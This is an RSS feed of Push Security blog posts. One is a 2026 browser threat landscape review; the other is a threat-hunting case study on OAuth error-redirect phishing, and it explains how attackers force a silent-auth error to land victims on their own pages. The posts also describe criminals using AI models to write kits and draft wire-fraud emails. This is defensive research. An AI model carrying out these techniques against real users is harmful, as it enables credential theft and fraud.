<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:atom="http://www.w3.org/2005/Atom">
  <channel>
    <title>Push Security Blog</title>
    <link>https://pushsecurity.com/blog</link>
    <atom:link href="https://pushsecurity.com/rss.xml" rel="self" type="application/rss+xml"/>
    <description>Product updates, engineering posts, and identity attack research from Push Security.</description>
    <language>en-us</language>
    <lastBuildDate>Mon, 10 Aug 2026 00:00:00 GMT</lastBuildDate>
    <item>
      <title>Browser threat landscape: mid-year update 2026</title>
      <link>https://pushsecurity.com/blog/browser-threat-landscape-mid-year-update-2026</link>
      <guid isPermaLink="true">https://pushsecurity.com/blog/browser-threat-landscape-mid-year-update-2026</guid>
      <pubDate>Mon, 10 Aug 2026 00:00:00 GMT</pubDate>
      <dc:creator>Dan Green</dc:creator>
      <category>Browser-based attacks</category>
      <category>Detection &amp; response</category>
      <description>PhaaS industrialization, Scattered Spider copycats, and AI-augmented tooling — what the threat landscape looks like in 2026 so far.</description>
      <content:encoded><![CDATA[<p>Feeling overwhelmed with the amount of cyber news stories? Tired of dodging AI vendors boasting about their agents escaping the lab? This threat landscape update cuts through the noise and covers the key developments that security teams need to be on top of.</p><hr/><h1><b>The SLH playbook becomes the industry standard</b></h1><p>Criminals associated with &quot;The Com,&quot; broadly known as the <a href="https://pushsecurity.com/blog/scattered-lapsus-hunters">Scattered Lapsus$ Hunters</a> collective, have spent the past three years establishing a playbook <a href="https://pushsecurity.com/blog/analyzing-the-instructure-breach">focused on identity compromise and cloud data theft</a> for extortion. They&#39;ve dominated the news when it comes to public breaches: a sign of their effectiveness, or perhaps more their desire for notoriety (something that has come back to bite individuals later with a series of arrests, but hasn&#39;t hampered the overall trajectory of the breaches).</p><p>Regardless, the data doesn&#39;t lie. Of the browser and identity-related breaches we&#39;ve tracked, <b>SLH-affiliated groups are responsible for roughly 70%</b>.</p><figure><img src="https://images.ctfassets.net/y1cdw1ablpvd/7DDf4WnfcZa3U9C6Leyu14/f6b7e43f663a387ed7238e4a47e4e215/image2.png" alt=" Public breaches and campaigns with a browser and identity-related breach vector in 2026."/><figcaption>Public breaches and campaigns with a browser and identity-related breach vector in 2026.</figcaption></figure><p>The trump card of prolific criminal groups like Scattered Spider, Lapsus$, and ShinyHunters has always been their social engineering skill. Last year, they had huge success in <a href="https://pushsecurity.com/blog/scattered-spider-defending-against-help-desk-scams">tricking help desks into performing account resets</a>. This year, they&#39;ve switched to using voice-based lures in tandem with <a href="https://pushsecurity.com/blog/unpacking-the-latest-slh-campaign">browser-based phishing payloads</a> — usually impersonating IT staff under the guise of &quot;setting up passkeys.&quot;</p><p>The vishing-to-SSO-takeover campaign has been prolific, running continuously since January: <a href="https://www.securityweek.com/panera-bread-data-breach-linked-to-shinyhunters-sso-campaign/">Panera Bread</a> (~14M records), <a href="https://www.bleepingcomputer.com/news/security/match-group-breach-exposes-data-from-hinge-tinder-okcupid-and-match/">Match Group</a> (Hinge, Tinder, OkCupid; 10M+ records), <a href="https://cloud.google.com/blog/topics/threat-intelligence/expansion-shinyhunters-saas-data-theft">Betterment</a> (~20M records), <a href="https://www.bleepingcomputer.com/news/security/shinyhunters-extortion-gang-claims-odido-breach-affecting-millions/">Odido</a> (6.2M Dutch telecom customers with BSNs and IBANs exposed), <a href="https://www.bleepingcomputer.com/news/security/adt-confirms-data-breach-after-shinyhunters-leak-threat/">ADT</a> (5.5M records), <a href="https://www.bleepingcomputer.com/news/security/charter-communications-data-breach-affects-49-million-accounts/">Charter Communications</a> (4.9M accounts), <a href="https://www.theregister.com/2026/04/24/shinyhunters_claim_cruise_giant_carnivals/">Carnival Corporation</a> (6M records), and<a href="https://www.theregister.com/2026/04/28/pitney_bowes_is_the_latest/"> Pitney Bowes</a> (8.2M emails per HIBP). <a href="https://www.bleepingcomputer.com/news/security/ad-tech-firm-optimizely-confirms-data-breach-after-vishing-attack/">Optimizely</a> is notable as the first confirmed case where attackers deployed both AiTM credential harvesting and device code phishing against the same target.</p><p>Since mid-2025, SaaS apps like Salesforce have been a persistent target for data theft and extortion — as seen in the first large-scale criminal <a href="https://pushsecurity.com/blog/device-code-phishing">device code phishing</a> campaign that preceded this year&#39;s adoption spike. ShinyHunters also led the way with OAuth supply chain abuse — compromising SaaS vendors like <a href="https://cloud.google.com/blog/topics/threat-intelligence/data-theft-salesforce-instances-via-salesloft-drift">Salesloft, Drift, and GainSight</a> and leveraging stored OAuth tokens to penetrate downstream customer environments, a pattern that has since <a href="https://claude.ai/cowork/local_70b7ac94-7f15-42f9-8a3c-3e0b9e989eda#oauth-supply-chain-attacks">repeated at scale</a>.</p><h2><b>Copycats and nation-state adoption</b></h2><p>Wider groups are now running the SLH playbook independently. <a href="https://hackread.com/pink-extortion-microsoft-365-cloud-data-vishing-scams/">Pink</a> (the latest rebrand in the<a href="https://cloud.google.com/blog/topics/threat-intelligence/unc6671-targets-financial-services-and-enterprise-cloud-environments"> BlackFile</a>-Redact succession) runs vishing combined with passkey-themed credential phishing for M365 extortion. <a href="https://www.bleepingcomputer.com/news/security/new-helix-vishing-group-emerges-in-sharepoint-data-theft-attacks/">Helix</a> also emerged shortly after BlackFile shut down, pairing vishing with device code phishing and MFA registration for persistence. <a href="https://www.bleepingcomputer.com/news/security/kongtuke-hackers-now-use-microsoft-teams-for-corporate-breaches/">KongTuke</a>, an independent initial access broker, adopted a similar help-desk impersonation model via Teams external messaging.</p><p>It&#39;s not just criminal groups either. Recently, we saw a campaign linked to Russian actors that used <a href="https://www.microsoft.com/en-us/security/blog/2026/07/31/captivecrunch-midnight-blizzard-targets-travelers-worldwide-for-malware-delivery-and-credential-theft/">compromised hotel and conference Wi-Fi gateways</a> to direct victims to AiTM, ClickFix, and device code phishing pages. And <a href="https://cloud.google.com/blog/topics/threat-intelligence/chinese-language-phishing-services/">Google Threat Intelligence mapped</a> a dozen Chinese-language PhaaS platforms with real-time MFA interception.</p><p>&quot;The Com&quot; affiliates increasingly set the playbook for other criminal groups, and even nation-state operators. It might not always be super sophisticated, but they&#39;ve proven the playbook works. And from the APT&#39;s perspective, why burn an exploit if you can achieve the same with a phish kit?</p><p>
</p><hr/><h1><b>Phishing infrastructure has reached an industrial scale</b></h1><p>The SLH playbook works because it sits on top of an industrialized infrastructure layer that continues to grow. Phishing-as-a-Service platforms, device code phishing kits, ClickFix Malware-as-a-Service providers, vishing operations, and OAuth supply chain attacks have all matured into commodity services — and they&#39;re shipping faster than ever.</p><h2><b>Device code phishing goes mainstream</b></h2><p>We&#39;re tracking a huge spike in <a href="https://pushsecurity.com/blog/device-code-phishing">device code phishing</a> since the start of 2026, with 25+ distinct kits now offering the technique. At the beginning of the year, we were tracking one or two.</p><p>What began with <a href="https://www.microsoft.com/en-us/security/blog/2025/02/13/storm-2372-conducts-device-code-phishing-campaign/">Storm-2372&#39;s nation-state campaigns</a> in August 2024 has proliferated through criminal kits like <a href="https://thehackernews.com/2026/05/the-new-phishing-click-how-oauth-consent.html">EvilTokens</a> (340+ organizations in its first five weeks), <a href="https://www.huntress.com/blog/kali365-device-code-phishing-kit">Kali365</a> (which earned an FBI public advisory), <a href="https://blog.talosintelligence.com/artoken-inside-an-eviltokens-affiliate-panel-targeting-microsoft-365/">ARToken</a>, DEBULL, Forg365, and many more.</p><figure><img src="https://images.ctfassets.net/y1cdw1ablpvd/3VgSTD544VehTl3THm4zpa/dd7e8610c29b283f38a3fa17a0614c90/image1.png" alt="Detections by device code phishing kit. Kits are multiplying and fragmenting each month, with a long tail of kits not named here."/><figcaption>Detections by device code phishing kit. Kits are multiplying and fragmenting each month, with a long tail of kits not named here.</figcaption></figure><p>The existing PhaaS marketplace, previously dominated by AiTM phishing kits as the standard, has also pivoted to take advantage of the demand for the technique.</p><p>Established AiTM vendors like Tycoon 2FA have <a href="https://pushsecurity.com/blog/device-code-phishing/">added device code phishing</a> alongside their existing credential-harvesting capabilities, meaning the same platforms now offer both techniques interchangeably based on what works against a given target. Several kits like Venom, EvilTokens, Kali365 all reportedly offer both capabilities, while many of the detections we see match the signatures for existing kits in our database (for example, with Venom triggering our existing Sneaky2FA detections) — suggesting an overlap in kit developers or their codebases.</p><p>Tycoon is a particularly notable example because following a public takedown of its AiTM infrastructure, some recent reports have <a href="https://cybersecuritynews.com/top-10-phishing-kits-used-by-hackers/">Tycoon detections dropping</a>, but we&#39;re finding that actually Tycoon device code attacks in particular have bounced back in our detections. </p><p>When you look at the full picture, it&#39;s notable to see a mixture of AiTM and device code kits in our top detected kits, with most of the top 5 now offering both.</p><figure><img src="https://images.ctfassets.net/y1cdw1ablpvd/71NeNdtXc5hbJrhfypTFS1/b7159dc73169225ff36bbbdf75d7b059/image3.png" alt="Push Security detections by phishing kit, April-June 2026"/><figcaption>Push Security detections by phishing kit, April-June 2026</figcaption></figure><p>PhaaS vendors are pivoting because device code phishing defeats all MFA (including passkeys) by targeting the authorization layer rather than the login. It&#39;s also an unfamiliar phishing scenario that most people aren&#39;t really prepared for.</p><p>And because they&#39;re being used interchangeably, there&#39;s no downside for the attacker. In one recent example, we saw the attack automatically fall back to AiTM after the device code method timed out, giving the operator two shots at the same victim without manual intervention.</p><h2><b>PhaaS platform evolution and evasion</b></h2><p>The broader PhaaS ecosystem continues to expand and evolve. New platform launches this quarter include <a href="https://www.cloudsek.com/blog/bluekit-phishing-as-a-service-phaas">Bluekit</a>, <a href="https://abnormal.ai/blog/blacksite-aitm-phishing-kit-cloaked-gg">Blacksite and Cloaked.gg</a> — offering dedicated anti-scanner cloaking as a service for phishing infrastructure — and <a href="https://threatactix.com/2026/07/02/a-rare-look-inside-the-command-and-control-panel-behind-modern-phishing-operations/">WackoGinx</a>, a multi-platform C2 panel that enables operators to manage simultaneous phishing campaigns.</p><p>Sneaky 2FA changes have also been documented, with what <a href="https://zerobec.com/blog/sneaky-2fa-returns-trusted-sender-tenant-branded-microsoft-365-replay">ZeroBEC calls &quot;route polymorphism&quot;</a> (a complicated way of saying the kit randomizes URL paths and filenames on every visit) while separately adopting <a href="https://blog.barracuda.com/2026/06/29/email-threat-radar-june-2026">split-click buttons and blob URLs</a> designed to evade link analysis (where buttons have two links: automated scanners interact with one and see a legitimate Microsoft page, but humans naturally click the larger, more visually prominent bottom one and get routed via a blob URL to the phishing page). </p><p>The speed of technique adoption across these platforms is itself accelerating. <a href="https://sublime.security/blog/flowerstorm-unleashes-the-krakvm-phaas-operators-turn-to-vm-based-obfuscation/">FlowerStorm adopted</a> KrakVM (an open-source JavaScript VM that compiles malicious JS into encrypted bytecode, defeating email security static analysis) within a month of KrakVM&#39;s public release on GitHub. The gap between a new evasion technique appearing publicly and its incorporation into commodity phishing kits has compressed to weeks.</p><p>At the same time, target surfaces are expanding: <a href="https://securitylabs.datadoghq.com/articles/behind-the-console-aws-aitm-phishing-kit-and-beyond/">Datadog documented</a> an AWS console AiTM kit that dynamically adapts to the victim&#39;s configured second factor (an example of <a href="https://pushsecurity.com/blog/mfa-downgrade-attacks">MFA downgrade</a> in the wild), extending AiTM phishing from IdPs and SaaS applications to cloud infrastructure consoles.</p><h2><b>ClickFix as a service</b></h2><p>ClickFix has also continued to industrialize. <a href="https://blog.sekoia.io/unveiling-errtraffic-inside-a-growing-clickfix-malware-distribution-framework/">Sekoia documented</a> the ErrTraffic MaaS platform achieving a 60% victim conversion rate, while researchers <a href="https://kqlquery.com/posts/clickfix-gift-that-keeps-on-giving/">mapped approximately 3,000 live ClickFix payloads</a> being served through API-driven backends that dynamically generate uniquely obfuscated payloads per victim — essentially the ClickFix PhaaS equivalent.</p><p>The technique has also expanded cross-platform, with Unit 42 documenting <a href="https://www.bleepingcomputer.com/news/security/new-macos-clickfix-attack-silently-mounts-dmgs-to-push-infostealer/">macOS ClickFix variants</a> that mount DMGs and bypass Gatekeeper to deliver AMOS infostealer. At the mass deployment end, over <a href="https://blog.xlab.qianxin.com/ghost-cms-mass-compromised-via-cve-2026-26980-now-fueling-clickfix-attacks/">700 Ghost CMS sites were compromised</a> to serve ClickFix payloads in May, and the Gizmodo homepage was injected in June.</p><p>Nation-state actors are building around ClickFix too. Two DPRK subgroups independently stood up ClickFix infrastructure in July: <a href="https://thehackernews.com/2026/07/bluenoroff-zoom-phishing-kit-profiles.html">BlueNoroff</a> targeting crypto professionals via Zoom impersonation with wallet profiling before payload delivery, and <a href="https://socradar.io/blog/dprk-clickfake-pylangghost-golangghost-rats/">Famous Chollima</a> embedding ClickFix in multi-stage fake job interviews.</p><h2><b>Vishing as a payload delivery mechanism</b></h2><p>Vishing functions as a reliable delivery mechanism for all of these payloads, leveraged by ShinyHunters, Pink, and Helix (among many others) to deliver AiTM and device code phishing. A human operator on a phone call drives the victim through a browser-based technical payload, and the vishing delivery gets around email security controls.</p><p>When Push researchers <a href="https://pushsecurity.com/blog/inside-criminal-phishing-panel/">infiltrated the phishing panels</a> linked to ShinyHunters&#39; campaigns, we found the mechanics for a live attacker relaying credentials and pushing new prompts in real time during the call, across 400+ linked domains and four infrastructure clusters.</p><p>The financial scale is now quantifiable: <a href="https://www.darkreading.com/cyberattacks-data-breaches/silent-ransom-us-law-firms-extortion-attacks">Luna Moth</a> (Silent Ransom Group), a <a href="https://www.crowdstrike.com/en-us/adversaries/chatty-spider/">Russia-linked Conti spinoff</a> operating independently of the Com, has extracted <a href="https://www.theinsurer.com/ti/news/exclusive-weil-gotshal-paid-double-digit-millions-in-suppression-payment-to-luna-2026-05-27/">up to $48 million</a> from Am Law 100 firms in 2026 alone, with 48 law firms on their leak site and the <a href="https://www.ic3.gov/CSA/2026/260526.pdf">FBI issuing a dedicated flash alert</a>.</p><p>The infrastructure behind these campaigns is industrializing independently. <a href="https://www.okta.com/blog/threat-intelligence/behind-the-scenes-of-a-vishing-operation/">Okta obtained access to Work Panel</a>, a multi-tenant vishing MaaS platform where phishing site standup is a one-button operation and callers are deliberately insulated from the credentials they help steal. Zscaler separately <a href="https://www.zscaler.com/blogs/security-research/helpdesk-hijackers-teams-vishing-quick-assist-and-gogrpc-backdoor">documented a dedicated Teams-vishing initial access broker</a> operating since January 2026, building bespoke post-access tooling and selling access to ransomware operators.</p><h2><b>OAuth supply chain attacks</b></h2><p>The OAuth supply chain dimension has also continued to produce confirmed victims. The <a href="https://cloud.google.com/blog/topics/threat-intelligence/data-theft-salesforce-instances-via-salesloft-drift">Salesloft/Drift supply chain attack</a> in 2025 set the template: compromise one SaaS vendor, steal OAuth tokens, access 700+ downstream customer Salesforce environments.</p><p>In 2026, the <a href="https://www.bleepingcomputer.com/news/security/vimeo-data-breach-exposes-personal-information-of-119-000-people/">Anodot compromise</a> cascaded through to Vimeo, Rockstar Games, and Zara. The <a href="https://pushsecurity.com/blog/unpacking-the-vercel-breach/">Context.ai → Vercel</a> breach followed the same structural pattern. And the <a href="https://www.bleepingcomputer.com/news/security/klue-oauth-breach-victim-list-grows-as-icarus-hackers-claim-attack/">Klue/Icarus breach</a> in June — where attackers pivoted from a legacy credential through stored OAuth tokens to exfiltrate Salesforce data from Huntress, Recorded Future, and Jamf among others — showed that OAuth tokens have become a tried and tested lateral movement vector in SaaS environments.</p><hr/><h1><b>AI is a force multiplier for attackers</b></h1><p>Much of the security industry&#39;s AI threat discussion has focused on autonomous offensive AI and novel attack classes like prompt injection. But the place where AI is having the most measurable impact right now is less dramatic and more consequential: it&#39;s accelerating how the techniques we&#39;ve already been tracking get built and operated.</p><p>The evidence is visible at every layer of the attack chain. Pretty much every phishing kit we come across in 2026 shows clear signs of vibe coding. For the classic AiTM lure, we used to find heavy obfuscation — attackers used to put a lot of effort into hiding their attacks. But now, they&#39;re essentially built to be disposable, and are full of verbose comments and nicely named unobfuscated functions. Why bother hiding when you can just spin up a new one? This is particularly notable when it comes to device code phishing, which owes its massive scale-up this year to vibecoded kits. </p><p>You can see more examples of these kits under the hood in our blog post <a href="https://pushsecurity.com/blog/inside-criminal-phishing-panel">infiltrating a criminal phishing panel. </a></p><figure><img src="https://images.ctfassets.net/y1cdw1ablpvd/2XOX0xzOxsmBKUuQbup47x/a624c2141879f9238704167a35fdeb39/Screenshot_2026-05-07_at_12.53.27.png" alt="Verbose phishing kit comments (a clear sign of AI involvement)."/><figcaption>Verbose phishing kit comments (a clear sign of AI involvement).</figcaption></figure><p>Beyond vibe-coded kits, attackers are embedding AI as an integrated operational capability. </p><ul><li><p>The first major device code phishing kit identified in the wild, EvilTokens, <a href="https://www.huntress.com/blog/railway-paas-m365-token-replay-campaign">heavily used Railway</a>, a PaaS built for vibe coding with prompt-based deployment and teardown of infrastructure. EvilTokens itself packaged AI workflows for email filter bypass, lure tailoring, and identifying high-value mailboxes. </p></li><li><p>Kali365&#39;s E2 edition includes an AI-powered BEC module that <a href="https://www.huntress.com/blog/kali365-device-code-phishing-kit">uses Claude Sonnet</a> to score intercepted conversations for fraud opportunity and draft contextual wire-transfer redirect replies — not an autonomous attack, but an AI-augmented workflow that makes an existing phishing kit more effective.</p></li><li><p><a href="https://thehackernews.com/2026/07/exposed-server-reveals-ai-assisted.html"><u>Rapid7&#39;s analysis of an exposed server</u></a> containing a complete phishing toolkit turned up over 1,000 delivery artifacts alongside hardcoded paths to AI coding tools and LLM-style documentation.</p></li><li><p>Three independent operators were <a href="https://thehackernews.com/2026/07/misconfigured-server-reveals-three.html">found running kits from public GitHub forks</a> with minimal, AI-assisted customization: one had been operating for over a year with 218 victims across 12 countries, running infrastructure that would previously have required significantly more technical ability to maintain. </p></li><li><p>The tooling itself is starting to embed AI as a product feature — <a href="https://www.varonis.com/blog/dolphin-x-stealer">Dolphin X</a>, a new MaaS infostealer targeting 300+ applications across browsers, password managers, cloud CLI tools, and crypto wallets, ships an AI Profiler that scores infected machines by application usage and installed software, then delivers daily ranked summaries so operators can prioritize high-value victims from thousands of infections.</p></li></ul><p>AI adoption itself has also become an attack surface. Users searching for AI desktop applications are already looking to download and install software, and attackers are capitalizing on that behavior: a <a href="https://www.huntress.com/blog/fakeagent-claude-desktop-malvertising-ends-in-dotnet-rat">malicious Claude.ai Artifact impersonating a download portal</a> drew 7,100 visits via Bing search ads and compromised 29 organizations in 48 hours, following the <a href="https://pushsecurity.com/blog/llmshare-malvertising-campaign/">LLMShare attack pattern</a> we documented in May. A second campaign, <a href="https://www.huntress.com/blog/macsync-stealer-rat-reverse-engineering">MacSync</a>, used a claude.ai conversation styled as an installation guide to deliver a macOS infostealer via a ClickFix-adjacent terminal paste, also distributed through Google Ads. In both cases, the AI platform&#39;s trusted domain carried the malicious content past URL reputation filters.</p><h2><b>But the core techniques aren&#39;t changing</b></h2><p>AI compresses the bottom layers of the <a href="https://pushsecurity.com/blog/the-pyramid-of-pain-in-the-ai-era/">Pyramid of Pain</a> (unique hashes, domains, IP addresses, host artifacts) by enabling faster domain rotation, cheaper kit development, and rotating payloads, but the technique-level behaviors remain unchanged.</p><p>A phishing page still has to harvest credentials. Device code phishing still has to abuse the authorization grant. ClickFix still has to inject a clipboard payload. Those behavioral signatures are structurally resistant to AI-driven variation because changing them means changing how the attack works.</p><hr/><h1><b>What this means for defenders</b></h1><p>Every trend documented here converges on the same control point: the browser. The AI acceleration that makes all of it faster and cheaper doesn&#39;t change where the attacks execute, or how Push intercepts them.</p><ul><li><p>For AiTM phishing, Push&#39;s behavioral detection analyzes and blocks the phishing page in real time, regardless of which domains or hosting infrastructure the kit uses on any given day.</p></li><li><p>For device code phishing, Push detects both the phishing pages associated with device code kits and provides an additional layer on the legitimate device code authentication pages themselves, so users cannot enter attacker-supplied codes.</p></li><li><p>For ClickFix, Push detects the clipboard injection at the moment the malicious payload is written.</p></li><li><p>For OAuth supply chain attacks, Push monitors and controls consent flows at the browser layer, so security teams can govern which applications obtain tokens in the first place.</p></li></ul><p>As AI enables more kits, more operators, and faster infrastructure rotation, indicator-based defenses that target domains, IPs, and hashes become less effective by the day. Behavioral detection that targets technique-class signatures (what the attack does) is the approach that scales.</p><hr/><p>Push Security is the most powerful AI-native security tool in the browser. Think EDR, but for the browser — high-fidelity telemetry and real-time control across every session, on every device, with no browser migration required.</p><p>Security teams use Push to detect and stop advanced browser-based attacks like AiTM phishing, ClickFix, and session hijacking; gain visibility and control over AI tool usage across their workforce; harden identities by surfacing credential reuse, SSO gaps, and shadow IT; and support data loss and insider investigations with browser-layer telemetry that other tools can&#39;t see.</p><p><a href="https://pushsecurity.com/demo/"><u>Book a live demo to learn more.</u></a></p>]]></content:encoded>
    </item>
    <item>
      <title>From IOCs to TTPs: An agentic threat hunting case study</title>
      <link>https://pushsecurity.com/blog/from-iocs-to-ttps-an-agentic-threat-hunting-case-study</link>
      <guid isPermaLink="true">https://pushsecurity.com/blog/from-iocs-to-ttps-an-agentic-threat-hunting-case-study</guid>
      <pubDate>Fri, 31 Jul 2026 00:00:00 GMT</pubDate>
      <dc:creator>Kelly Davenport</dc:creator>
      <category>Browser-based attacks</category>
      <category>Detection &amp; response</category>
      <description>How Push’s agentic detection pipeline turns intel into huntable characteristics of attacker behavior, deriving durable detections from a range of sources.</description>
      <content:encoded><![CDATA[<p>Every security engineer has a version of this ritual. </p><p>A new campaign hits the news, and you already hear the question coming, “Are we covered?”</p><p>So you read the writeup and quickly do the calculus on whether you can extract meaningful data, something to base a behavioral detection around — or not.</p><p>Then the choice is: Send the IOCs you can identify to your blocklists and move on for now, or try to dig deeper. The limitations of the first choice are clear; so are the challenges of the second.</p><p>That’s the uncomfortable gap between “We’re aware of this threat” and “We have strong detections around it.”</p><p>Because you already know that the IOCs for a novel browser-based attack are likely outdated the moment you block them. And in the case of a <a href="https://www.microsoft.com/en-us/security/blog/2026/03/02/oauth-redirection-abuse-enables-phishing-malware-delivery/"><u>new technique observed by Microsoft</u></a> earlier this year, you’d be right.</p><p>In March, Push’s AI agents took a close look at that Microsoft intel, which details a discovered campaign built around a novel OAuth redirect abuse technique used to deliver users to phishing pages under the cover of trusted services’ OAuth flows. </p><p>What we found was indicative of how these attacks rapidly evolve: No matches for the published IOCs across our install base. But a few months later, we got a true positive. Except it was for new lures, new variants, and different IOCs. What hadn’t changed was the underlying attack delivery technique, and that’s what we used to detect a new campaign on Push customer estates.</p><p>In this article, we’ll walk through this example as a case study of how agentic threat hunting helps us go beyond IOCs to extract durable behavioral indicators that close the gap between “We’re aware of this threat” and “We’re covered.”</p><p>Note: This is part 2 of a series. <a href="https://pushsecurity.com/blog/agentic-threat-hunting-benefits-for-customers">Part 1</a> covers the pipeline’s detection engineering principles and the security outcomes we’re achieving for Push customers.</p><hr/><h1>The intel: Novel abuse of OAuth redirects as a phishing delivery mechanism</h1><p>The technique <a href="https://www.microsoft.com/en-us/security/blog/2026/03/02/oauth-redirection-abuse-enables-phishing-malware-delivery/"><u>Microsoft documented</u></a> back in March is an interesting one. It doesn&#39;t steal tokens or abuse consent flows. Instead, it weaponizes the OAuth error-handling path itself — turning trusted identity provider domains into a delivery mechanism for phishing and malware.</p><figure><img src="https://images.ctfassets.net/y1cdw1ablpvd/1D3TRRoXR4Kyso7bX2ogiC/4e17fd2c068195e9959da9b633ab5f48/microsoft-attack-chain.png" alt="The original attack chain documented in March by Microsoft."/><figcaption>The original attack chain documented in March by Microsoft.</figcaption></figure><p>Here&#39;s how it works. The attacker registers a malicious application in an actor-controlled tenant, pointing its redirect URI at attacker infrastructure. They craft an authorization URL using <b>prompt=none</b> (forcing silent authentication) and an intentionally invalid scope, which guarantees an OAuth error. </p><p>The identity provider — Microsoft Entra ID, Google Workspace, or any OAuth-compliant service — handles that error the way the spec says it should: By redirecting the browser to the application&#39;s registered redirect URI. The user clicks a link that begins at <b>login.microsoftonline.com</b>, passes through a legitimate authentication endpoint, and lands on an attacker-controlled page.</p><p>Importantly, no token is stolen during the redirect. The OAuth flow is the delivery vehicle, not the compromise mechanism. What happens <i>after</i> the redirect — phishing, malware download, credential harvesting — is where the actual attack occurs.</p><p>This technique is also successful because conventional URL filtering sees a legitimate authentication domain, not a phishing destination. The redirect is standards-compliant behavior, and the initial URL carries the domain reputation of a trusted identity provider — which means the usual defenses at the network layer don&#39;t fire. (No TI or domain-based detection service in the world would raise a <b>microsoft.com</b> domain as suspicious!)</p><p>With this intel, Push’s agents now had some useful fodder to hunt for.</p><h1>Hunting from intel: How we developed a behavioral detection</h1><p>It started with ingestion. When the Microsoft blog was published, Push&#39;s TI aggregation agent flagged it as relevant to our detection surface — the technique abuses OAuth redirect behavior observable in the browser, which maps directly to the metadata that Push&#39;s browser agent captures.</p><figure><img src="https://images.ctfassets.net/y1cdw1ablpvd/46ArhTRN2xiFHemmFIo1Y/3976a9c6877f08810f2eea37d306de4e/image4.png" alt="Push’s intel agent reasoning over some ingested TI on a novel OAuth redirect abuse technique."/><figcaption>Push’s intel agent reasoning over some ingested TI on a novel OAuth redirect abuse technique.</figcaption></figure><p>The Push intel agent understands not to hunt for IOCs, but rather to think in terms of durable behaviors. It understands the telemetry available to the Push browser extension, and then compares that to the telemetry it would expect to be able to extract for a given technique, before deciding what to hunt for.</p><p>In this case, the intel agent extracted two distinct behavioral elements from the research to look for: the OAuth redirect technique and the page users land on after the error.</p><p>That extraction step is where surface-level details can become technique-driven hunts. Microsoft&#39;s article listed specific client IDs, redirect URLs, and PowerShell command patterns — indicators that are useful for retrospective hunting but will rotate as the campaign evolves. </p><p>The pipeline&#39;s job was to identify what wouldn&#39;t change: The behavioral mechanics of abusing the OAuth error redirect path as a delivery mechanism, independent of which domains, client IDs, or post-redirect payloads the attacker chose to use. This is the Pyramid of Pain principle in practice: Hunt for the technique, not the indicator, because techniques are genuinely hard for attackers to change.</p><figure><img src="https://images.ctfassets.net/y1cdw1ablpvd/1knJksvSVjMoGKHyAMIN22/5727ee7ce06ddb300355eec119bab885/image3.png" alt="Push agents summarizing the behavioral techniques of the attack and proposing hunt queries."/><figcaption>Push agents summarizing the behavioral techniques of the attack and proposing hunt queries.</figcaption></figure><p>Next, the agents verified what they already knew from Push’s internal TTP knowledge base. In this case, the agents understood the well-known technique of <a href="https://owasp.org/www-community/attacks/open_redirect"><u>open redirects</u></a>, where attackers leverage redirects to deliver users to a malicious page. The example originally published by Microsoft was a novel variation of that — abusing a trusted service and the open redirect technique via a legitimate OAuth error workflow to deliver a multi-stage phishing attack.</p><p>AI models’ deep knowledge of web programming and frameworks is a particular strength here, because they understand which OAuth redirect behavior is normal and common across diverse scenarios, and can pinpoint which elements will be the strongest signal to hunt for malicious behavior. The agents immediately recognized that hunting for <b>prompt=none</b> would be too noisy, as legitimate apps regularly use silent token refresh.</p><p>In this case, the approach was simply to find all the instances where a user hit an OAuth error page, and then landed on a login page afterward. Normal behavior for error states would be to return an error response — not send the user on to a page with a password form field or a CAPTCHA. That’s highly suspicious.</p><p>The agents then built behavioral queries targeting both behavioral attributes of the attack, and validated them across Push&#39;s install base. </p><p>When agents first looked in March, the hunts returned no true positives — the specific campaign Microsoft documented wasn’t active against Push customers at that time.</p><p>But the query logic was sound — precise enough to avoid false positives, broad enough to catch technique variants without relying on the specific IOCs that Microsoft documented. So the pipeline promoted it to a live query — a continuing detection that would surface any future instances of the technique across the customer base.</p><h1>The hunt pays off: A new variant, completely different IOCs</h1><p>In June, the query fired. A single user at a single customer had been targeted, but with a completely different scenario. </p><figure><img src="https://images.ctfassets.net/y1cdw1ablpvd/4zGCbPJbfFXhSJMAPrssTX/10759adf3d14f823209329b0c84fdea7/oauth-redirect-technique-v2.png" alt="Push observed the same technique with completely different IOCs a few months after first hunting for it based on Microsoft’s documented campaign example."/><figcaption>Push observed the same technique with completely different IOCs a few months after first hunting for it based on Microsoft’s documented campaign example.</figcaption></figure><p>Where the Microsoft-documented example used lures presented as document-sharing links, Teams meeting recordings, or password resets, and the abused trusted service was a Microsoft login link used to trigger the OAuth error, the Push-observed attack chain used different elements. However, the behavioral technique at the core was the same.</p><p>In this case, the user clicked a link in a service desk ticket, triggering an OAuth flow that used a redirect URL with parameters designed to make it look like a Grammarly link. After hitting the OAuth error, the user was redirected to a page with a CAPTCHA, and then redirected again to a second page behind a Cloudflare Turnstile that was running a phish kit. While examining the phishing page, Push’s agents found a net-new phish kit that they later added additional detections for. </p><p>Roughly a day after the Push detection fired, Google Safe Browsing flagged both domains as phishing domains. But when the user was first targeted, neither domain had been flagged. In this case, the user exited the redirect flow before entering any credentials.</p><p>It’s important to note that this phishing technique also bypasses other controls based on network content pattern analysis or domain-based detections. For example, a network proxy is designed to look for malicious webpages based on known-bad IOCs like domains or page content that contains known-bad script files. This technique uses a dynamic obfuscated Javascript blob that unpacks and loads the webpage on the client side after checking to see if it’s running in a live browser environment, evading proxy-based analysis.</p><p>The query now serves as another early-warning flag designed to be broad enough to catch other interesting new variants of this TTP.</p><h1>Why technique-level detection pays dividends</h1><p>This example demonstrates the value of behavioral detection. By focusing on technique extraction, we can stay a step ahead of attack evolution, identifying other contexts and campaigns that use the same behavioral technique, without relying on stale IOCs.</p><p>For customers, this means no one has to distil the threat intel report into behavioral elements, spend time crafting detections, or work to eliminate false positives. The Push agents do all that automatically, delivering a compounding benefit the more they learn. </p><p>Customers get a fully operationalized threat-hunting and detection engineering capability; and the Push knowledge base itself expands with each new hunt, getting better at identifying emerging threats.</p><p>If you&#39;d like to see how Push&#39;s detection pipeline would work in your environment, <a href="https://pushsecurity.com/demo"><u>book a demo</u></a> with our team.</p>]]></content:encoded>
    </item>
    <item>
      <title>The top 10 browser security solutions: Push Security, Island, LayerX and more</title>
      <link>https://pushsecurity.com/blog/the-top-10-browser-security-solutions-in-2026</link>
      <guid isPermaLink="true">https://pushsecurity.com/blog/the-top-10-browser-security-solutions-in-2026</guid>
      <pubDate>Mon, 27 Jul 2026 00:00:00 GMT</pubDate>
